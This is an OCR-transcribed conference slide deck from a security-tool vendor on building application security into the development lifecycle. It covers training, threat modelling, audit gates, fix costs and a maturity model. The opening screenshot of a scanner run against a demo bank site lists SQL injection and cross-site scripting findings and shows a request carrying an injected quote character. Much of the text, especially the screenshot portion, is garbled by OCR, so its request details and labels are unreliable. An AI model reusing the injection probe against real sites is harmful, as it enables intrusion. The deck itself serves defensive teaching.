B3 bark [34]

| TR 7/

- N | accourt.asps (3]
----- L#.:l apply.azpx [2)

----- | customize.aspx (4]
----- |2 login.aspx [14)
|2 logout. aspx

----- 2] main.aspx

----- |2 quervspath.asps [4)
----- |2 transaction.aspx [7)
----- |2 transfer. aspx

Application D ata

isited LUFLs 4545 | | Completed Tests 439244332

Arranged Bu: Severity | Higheszt on top |

ﬂ 40 Securty lszues [148 varantz] for "My Application’

# @ Blind S0L Injection (3] “
[+ @ CrozzSite Scripting [4)

[ @ HTTP Responze Splitting 1]

= @ LoginPage SOL Injection [2]

# @ S0L Injection (5]

= @ #Pathnjection [1]

F W Cookie Paoizoning SOL Injection [1]

F W Predictable Login Credential: [1] LI

—. L) P P E R

) .-'-‘«dvisujryl “| Fik Recommendation @ Pequest/Respanse |

Wariant: iof35 = b || Test Ongnal |3, | Hide Properties
(3] Show in Brawser | Report False Positive  Manual Test

POST fbank/transaction.aspx HTTP/ 1.0 « . : X

Cookie: Tang=; amCreditOffer=CardTy| = Screenshot.l Fumments I
Content-Length: 148 2 Variant Details

A e

S ID: 8297 -

Accept-Language: en-us

User-fgent: Mozilla/4.0 {compatible
Host: altoro.testfire.net
Content-Type: application<-waw—tort
keferer: http:/ altoro.testfire.net,

Difference:

The following changes were
applied to the original request:

+ Set parameter ‘after's value to

__EVENTTARGET=& __EVENTARGUMENT=&__ W 1234%27%38

HTTE/1.1 500 Thternal Serwer Freoe Beasoning:
I i q: ;
4 _IPI—I S e e bminn S0 l!

@1 Y2 O [G7

;‘E.‘; 40 Security [ssues
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— | Asking the Wrong Question

) )

i

Business Developer QA Test Security

Owner \ Auditor

Why isn’t the What's wrong Where are the What is our risk
app working? with the code? the bugs? exposure?

What are the root causes?

i
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Understanding the Root Causes

Takes the focus off the symptoms

Eliminates over-reporting \

Highlights pro-active security

Can help build education programs

CHASING VULNERABILITIES DOESN'T WORK \

i
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1| Online Risk Management for the
8 Enterprise

People

Technology
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The People Factor

==

* Repeatable, measurable education system
— Eight principles of security
— Six primary threat classifications

* Resource library
— Corporate policy
— Best practices
— Specific process with security artifacts

 Feedback Loop
— Development, QA and Internal
— Support and External

- MEASUREMENT

—SACA
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The Process Factor ERes

==

« Defined secure lifecycle
— Risk Profiling
— Architectural Risk Analysis / Threat Modeling
— Defined inputs and outputs
— Checkpoints and Gates

* Feedback loop for process improvement
— Internal
— External

« MEASUREMENT

i
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The Technology Factor

[ |

« Automated analysis
— Strengths
» Technical vulnerabilities
» Scale and cost
— Weaknesses
 Architectural and logical design flaws

 Manual analysis
— Strengths
* The “*human factor”
* Design flaws
— Weaknesses
« Costly (time and money)

I i
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Security Considerations in the SDLC

| People

"

/ Design

¢ Architectural Risk
Analysis

Threat Modeling
Abuse Cases

~

v

il

-

Define

¢ Assign Security
Expert
e Risk Analysis

~

v

—

/Build \

e Component Testing
e Peer Code Review
e Build Testing

= )

<i/T he Foundation\ <i

1. Playbook

2. Resource Library
3. Enterprise Metrics
4. SDLC

—N\
—

KI' est \

* QA Testing

e Formal Security
Assessment

e Formal Code Review

= )

4Ll
/ Deploy \

e Quarterly Audit

= )

—HSACA

Seving
San Fran

 IT Gemermriaan Professionals
cisco Chapter

5. Training Program

- )
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Outsourcing?

| People

Technology

&

™

4

il

-

"

Define

¢ Assign Security
Expert
e Risk Analysis

~

—

& N

v

- 4

<i/T he Foundation\ <i

1. Playbook

2. Resource Library
3. Enterprise Metrics
4. SDLC

!

~

"

Test

e Formal Security
Assessment

~

v

1L

-

"

Deploy

e Quarterly Audit

~

v

—HSACA
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| People |

Foundation Components roses_

BN

* Playbook
— Corporate Policy
— Exception Handling

* Resource Library
— Security Principles
— Threat Classification
— Certified Components
— Feedback Mechanism (Inside, Outside)

J iMCA 2007 Fall Conference
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| People |

m Application Security - When?

n\ Black Box ‘

JRisk Profile lThreat Modeling JcOmponent Tests l QA Audits recurity l Quarterly

Build Audits Assessment Audits

[ [ [Code
Build Audits QA Audits Review

E\ White Box ‘

i
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Financial Impact

»>

Relative Cost to Fix Defects

Cost to Fix dramatically increases
the longer you wait to test

15X

6.5X

1X

100X

— Sauroe: implameanting Soffware nspections, 1B Spestams Sciances (nstifuta, 18AT

—T11ISAGA
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Design Development Testing

Deployment
& Operations
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| People |

Security Testing In the Software Lifecycle _

SDLC ‘

Coding Build QA Security Production

<
I

-
Sy

2007 Fall Conference
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Application Security Maturity gz

Technology
Model
Phase 1 Phase 2 Phase 3
v -
& Cost of & Risk of
Test App.
Low

Low % Applications Tested High

L
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Q&A

Questions?

I i
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Additional Resources

« OWASP

— WWW.0Owasp.org
— Top Ten List
— Secure Development

« Web Application Security Consortium
— www.webappsec.org
— Threat Classification
— Web Hacking Incidents Database

I i
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Additional Resources

* Download AppScan 7.6 - hitp://www.watchfire.com

« Latest whitepapers visit:
http://www.watchfire.com/news/whitepapers.aspx

 Visit Watchfire at one of our upcoming shows
http://www.watchfire.com/news/events.aspx

« Register for upcoming web seminars visit
http://www.watchfire.com/news/seminars.aspx

 Contact us at sales@watchfire.com
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Thanks for joining me today!

Armando Bioc
Office: 650-592-5274
abioc@us.ibm.com
www.watchfire.com/securityzone
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